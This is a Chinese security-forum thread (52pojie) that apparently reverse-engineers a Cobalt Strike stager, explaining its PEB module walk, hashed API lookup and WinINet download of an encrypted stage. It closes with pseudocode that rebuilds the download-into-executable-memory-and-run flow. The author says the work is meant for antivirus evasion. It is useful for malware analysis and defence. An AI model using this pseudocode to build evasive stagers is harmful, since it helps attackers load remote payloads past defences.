吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10297|回复: 15
上一主题 下一主题
收起左侧

[PC样本分析] Cobalt Strike剖析及免杀系列(三)cs马分析stager拉stage过程全剖析

[复制链接]
跳转到指定楼层
楼主
GalaXY403 发表于 2022-3-21 20:16 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 GalaXY403 于 2022-3-21 20:34 编辑

背景
        之前想找点文章看看stager的运行结构做做stager的免杀,奈何各大论坛还有搜索引擎都没有具体的运行详解,只有一些壳的IDA直接反编译逆向过程,对于动态到程序中的stager逆向还没有具体的反编译程序,所以出篇文章具体说一下。
Tips
        下面的分析是针对汇编的分析,如果看起来嫌麻烦可以直接看最后面写的伪代码,二者程序结构相同,手工写源码免杀可以直接用这两个汇编或伪代码逻辑。
分析
分析是按照顺序结构从代码开始到代码结束按步分析,前面可能会出现一些后面的代码但是还没有分析到,可以跳过理解到下面说到了再回头看。

这里涉及到了寻找函数的代码,为了方便文章内容的制作,我们就暂且称它为findfunc_andexp,这个东西不用急,先知道有这么个函数就行,下面到了调用它的时候再去仔细说。
对于payload为了对抗杀软的启发式扫描,所以汇编上会对代码逻辑做混淆操作,在ida中的动态反编译也不是很精确,所以这次就就着上一次发的再往下做做分析。



第一步清空标志寄存器df位并做函数跳转,清空的操作是为了恢复上个函数可能会遗留的条件判断。

跳到…8f弹出之前call保存的返回地址,并入栈这三个立即数与一个寄存器值。
先看这几个立即数,最上面的两个立即数组成了一个String的字符串,存储的是wininet这个函数名,后面的0x726774c是某函数名字符串进行特定编码后的结果,用作后来loadlibrary调用的参数处理
在20001处call调用2008f,进入到findfunc_andexp函数的操作中,这里我们先等下分析这边的代码,从2008f往后面的代码都是在调findfunc_andexp的代码
(这些是根据后面的第二个循环结构得到的分析结果,刚看可能会有点懵,建议先往下看,后面提示再到前面来找这段!!)


这是之前静态的代码,可以看到没有给startaddress传递除了payload地址之外的任何参数。

并且startAddress函数也只使用了自身地址这一个参数。

前面弹出返回地址栈到ebp,这里是直接又call ebp相当于retn了,
堆栈平衡操作

返回到20006首先将全部32位寄存器压栈,这里我们是32位的程序,所以就是把全部寄存器压栈处理。
Mov ebp,esp做刷新栈区现在的栈内为空。

首先xor清空edx,再对edx做赋值
首先从fs寄存器偏移30h的地址上的值赋给edx(fs段寄存器存储程序的环境数据)
这里给出fs结构数据::

上面汇编中下一步继续偏移c位找到ldr指针实际上是一个指向系统调用dll的链表指针。
这里直接用windbg dt查看ntdll的数据结构就ok

然后再在ldr的基础上再偏移14h到InMemoryOrderModuleList列表

_LIST_ENTRY第一位就是指向LDR_DATA_TABLE_ENTRY的地址

从20009到20015这几行代码就是找到对应这个进程的进程名并传入到esi寄存器中

再往下加载edx偏移26h的数据存到ecx中,由下面代码逻辑可以判断ecx中的数据是存储在esi中数据的大小。

继续往下重置eax与edi

接下来通过lods byte向al输入一个字节的数据,并且esi地址向后偏移一个字节

上面这段红色部分是一个循环,大概的代码逻辑就是
For(ecx=lenth(*(void*)esi);ecx>0;ecx--){
        Al = [esi];
        Esi++;
        If(al<’a’){

}else{
        Al=al-0x20;
}
        Edi=edi>>13;
Edi=edi+al;

}
此段代码的目的是对这个程序名的一个加密算法,作用是为了后面与提供函数名编码做对比这样就避免了直接字符串对比,也算是一种加密方式吧

保存InMemoryOrderModuleList与加密结果到堆栈,从20030到2003b是获取整个壳进程的导出表的rva值并判断是否为空。

这里我用的是cs生成的原生壳,非dll没有导出表很正常

紧接上面的内容,将之前存入栈中的edi与edx取出,并且edx重新赋值为下一个模块的InMemoryOrderModuleList,并且重复20015行往下的对模块进程名的字符做编码处理,并判断有无导出表

重复的内容可以查看上面的这一部分往下。
然后这里重新找到了ntdll模块并且获取到了dll导出表地址

这里看到edx与eax分别赋予模块基址,pe头va

获取导出表va入栈,获取导出表面向模块的导出函数总数存入ecx,获取导出名称表ent偏移地址到ebx中

获取导出名称表的虚拟地址到ebx中

继续上面的分析,这个截图是第二个循环结构,也是利用到了上面提到的三个立即数,这里可以到上面查看当时提前给出的解析。
首先是做了两个循环,第一层大循环用来循环模块内的函数名,第二层循环是为了将整个函数名做编码处理,待做完编码处理与函数提供的编码数据做对比
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
For(ecx=ntdll模块函数数量;ecx>0;ecx--){
        While(al!=0){
                Al=*(VOID*)esi;
        Edi>>13;
        Edi=edi+al;
}
If((模块名编码+函数名编码)==需要的函数编码){
        Jmp 20068;//也就是继续往下执行
}
        Jmp 20088;
}


这里我在跳转的下面打了一个断点,然后等待执行完编码确定的函数时loadlibraryexa
这里的断点有时候打了会没有反应,如果遇到这种情况可以重新启动一遍od再在需要的地方打断点,这个bug还是很容易触发的,我用的是吾爱破解的魔改od不知道是不是这个的问题。

做逆向的时候由于栈存的数据有点乱所以还是建议新手最好做下关键寄存器和栈数据的记录
这里重新赋值eaxntdll导出表地址,重新偏移24h个字节找到导出序号表,这里就是经典的导出序号表找到导出函数序号,找到序号后根据序号索引找到函数基址,与dll加载时导入表重载相同,算是动态执行函数但是没有dll反射注入过程。
这里如果想要进一步看dll加载与调用过程可以看我的另外一篇文章,里面说的很详细也在github上给出了源码:
https://mp.weixin.qq.com/s/FRi66i6agJN0WzlhJUfQow
公众号喜欢的朋友可以关注下,感谢!!!!

下面的就是找导出序号表中的对应序号

下面这个就是找到导出地址表,并且指针四字节×序号加上模块基址就是eat的va了,下面的代码来覆盖之前栈中编码过的立即数数据

继续

这是一系列弹栈操作,前两个弹栈没用,这里是一直恢复到之前清空栈区的操作。
到这里一个函数算是调用完毕,也就是说这一部分分析了这么多,其实就是在ntdll中找到loadlibraryexa函数地址。

继续弹栈的下面,这里入栈ecx跳转eax

Ecx是返回地址eax是loadlibrary地址,之前入栈的三个立即数有一个是编码的函数名,另外两个是字符串,这里栈区中调用loadlibrary函数回到开始的立即数位置也就是调用loadlibrary(wininet)动态加载这个dll模块,并相当于call调用入栈一个retn地址
继续往下进入到ntdll中执行加载dll操作,这里我们打断点到返回

查看内存分布,wininet和一些ws_32网络模块已经加载到内存中了
下面是一段花指令混淆操作
现在结合堆栈再来重新分析一下之前的结构
(这里重新弄了下od,之前用的吾爱破解的od有点bug,如果想做动态逆向还是推荐下原版od比较好,吾爱的打断点一直不跳就很烦)

入栈wininet字符串,入栈esp,入栈编码后的函数名
Esp这个地址就是wininet的首地址,在32位高级语言中的String类型其实就是一个四字节的char指针指向首地址,那这个就是findfunc_andexp后函数要执行的参数,为什么这么说,看findfunc_andexp中的代码

弹栈ecx和edx,入栈ecx跳转eax
此时的eax存储的是findfunc_andexp中查找到的函数地址,弹出两个栈,因为之前的call会自动入栈一个返回地址,所以栈中结构就是

两次弹栈再入栈正好就是执行find后的函数,并且返回地址也是之前说的从开头2008f向下顺序执行依次调用并执行被find的函数的操作

函数整体结构::
Void Findfunc_andexp(DWORD 编码函数名数据,DWORD 参数,……){……}
Findfunc_andexp();
Findfunc_andexp();
Findfunc_andexp();
……
这里的Ebp存储了findfunc_andexp函数地址所以现在我们只要在后面每个call ebp向后一个语句处打断点就能找到调用的函数顺序
第一次调用是loadlibrary加载网络模块
第二次调用在网络模块中的internetopenurla

下面是参数

第三次调用internetconnect,参数在栈中栈顶去除返回

具体参数作用可以查看msdn官方文档
这里就先举个栗子,后面的就不举了:
HINTERNET InternetConnectA(
  [in] HINTERNET     hInternet,
  [in] LPCSTR        lpszServerName,
  [in] INTERNET_PORT nServerPort,
  [in] LPCSTR        lpszUserName,
  [in] LPCSTR        lpszPassword,
  [in] DWORD         dwService,
  [in] DWORD         dwFlags,
  [in] DWORD_PTR     dwContext
);
第四次调用httpopenrequesta

这里的参数带一个/YTFi,如果不知道的同学可以自己分析下cs源码,这里是随机生成四个字符是url的path请求路径,这里就是后面stage的具体dll,里面一百多个case用来执行具体的控制操作
第五次调用internetsetoptiona

第六次调用HttpSendRequestA

第七次调用user32.GetDesktopWindow

第八次调用wininet.InternetErrorDlg

第九次调用kernel32.virtualAlloc

第十次调用wininet.InternetReadFile

这里是循环调用每次请求2000字节数据写入到virtualalloc申请的内存中这里注意virtualalloc申请的内存地址,
循环调用读取后开启新线程执行virtualalloc地址上的pe文件

这段就是前置stager拉动的stage

上线
  
这里晚截图了几分钟
值得注意的是这里stager拉动的stage也是被加密的数据,经过stager解密才能使用

这里通过弹栈的方式继承上一个函数的参数retn跳转到加密stage中

从这个stage的开头执行,这里的开头是一段解密代码,用于对下面stagepe的解密并启动新线程。
这里再此打开ida对前面几行代码做静态也可以直接反编译到c,不过可能有一些错误,我也没仔细看,等下一次仔细说说这个问题。

到这stage内容就分析完毕了,这次篇幅有点多了,剩下的stage就下次再找时间写篇文章分析下吧。
伪代码结构
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Void Findfunc_andexp(dword bianma, dword canshu, ……){
For(ecx=ntdll模块函数数量;ecx>0;ecx--){
                While(al!=0){
                        Al=*(VOID*)esi;
                Edi>>13;
                Edi=edi+al;
}
If((模块名编码+函数名编码)==需要的函数编码){
/*这个函数是在pe的导出表中找到导出序号表,导出序号表再找导出地址表再找到地址*/
Eax=Findfuncaddress();
                Pop 编码;
Jmp eax;//也就是继续往下执行
//如果一函数形式是:
Exp(dword canshu, ……);
}
                Jmp 20088;
}//这段是找到函数并执行
         
}
Void main(……){
        Findfunc_andexp(“loadlibrarya的编码”,“wininet”);
        Handle_net1= Findfunc_andexp(“internetopenurla”,0,0,0,0,0);
        Handle_net2=Findfunc_andexp(“internetconnecta”,Handle_net1,20331h,1c1h,0h,0,3,0,0);//这个参数是上一次系统调用打开的handle表
Handle_net3=Findfunc_andexp(“httpopenrequesta”,Handle_net2,0,”/XXXX”,0,0,0,84c03200h)//这些handle都是系统调用产生的文件句柄
        Findfunc_andexp(“internetsetoptiona”, Handle_net3,1fh,7dff78h,4);
Findfunc_andexp(“HttpSendRequestA”, Handle_net3, ”user-agent:xxxx”, ffffffffh,0,0);
HWND = Findfunc_andexp(“user32.GetDesktopWindow” );//这个返回窗口句柄
Findfunc_andexp(“InternetErrorDlg”,10010h, Handle_net3,7efd8800h,7,0);
Startaddress = Findfunc_andexp(“virtualalloc”,0,400000h,1000h,40h);
While(){
        Findfunc_andexp(“internetreadfile”, Handle_net3,startaddress,2000h,7dff74h)
}
Void (void*)(*startaddress)(void);
}

免费评分

参与人数 8吾爱币 +14 热心值 +8 收起 理由
arcadia007 + 1 + 1 我很赞同!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
自强 + 1 + 1 谢谢@Thanks!
happyBread + 1 + 1 谢谢@Thanks!
淡淡不揩油i + 1 + 1 用心讨论,共获提升!
milaoshu1020 + 1 + 1 用心讨论,共获提升!
Panel + 1 + 1 我很赞同!
Cherish丶Z + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
time1time 发表于 2024-3-14 17:39
简单的总结下哈,欢迎斧正:首先是字符串加密和拼接模块,猜测是用于绕过文本查杀和内存查杀。对获取到的字符串进行加密用于后续比对自己要的模块名,这里楼主没有写到获取Ntdll的过程,目测是把ntdll.dll字符串通过上门那个加密过后硬编码到程序中然后的通过FS:0->TEB-PEB-LDR链->Module链,通过Module链获得模块名字符串,加密后与硬编码比对找到ntdll.dll,然后获取模块基址,遍历导出表,通过导出名称表获得字符串进行比对(一处加密处处加密,这块也可以用加密后的字符串进行比较),找到需要的函数序号,通过序号名称表找到导出地址rva,rva+基址获取函数地址,拿到Loadlibary函数地址后其他的就都好拿了。
推荐
 楼主| GalaXY403 发表于 2022-3-29 19:40 |楼主
自强 发表于 2022-3-28 23:15
谢谢分享,有空跟一下,顺便问下,这是cs哪个版本的马

cs4所有版本stager都一样,后面的stage的dll可能会改一下
沙发
iloveasdl 发表于 2022-3-22 14:19
3#
zhaojunwangzjw 发表于 2022-3-22 18:04
感谢分享,好好学习了!!
4#
happyBread 发表于 2022-3-25 19:11
感谢, 分析病毒的思路又增加了
5#
自强 发表于 2022-3-28 23:15
谢谢分享,有空跟一下,顺便问下,这是cs哪个版本的马
7#
3Hao 发表于 2022-3-30 22:48
感谢分享
8#
hsctest 发表于 2022-4-14 09:24
单步调试分析的很细,等我技术上来也来试试,感谢
9#
咔c君 发表于 2022-5-12 10:16
学习了厉害了
10#
咔c君 发表于 2022-5-14 09:03
学习了厉害了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-26 19:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表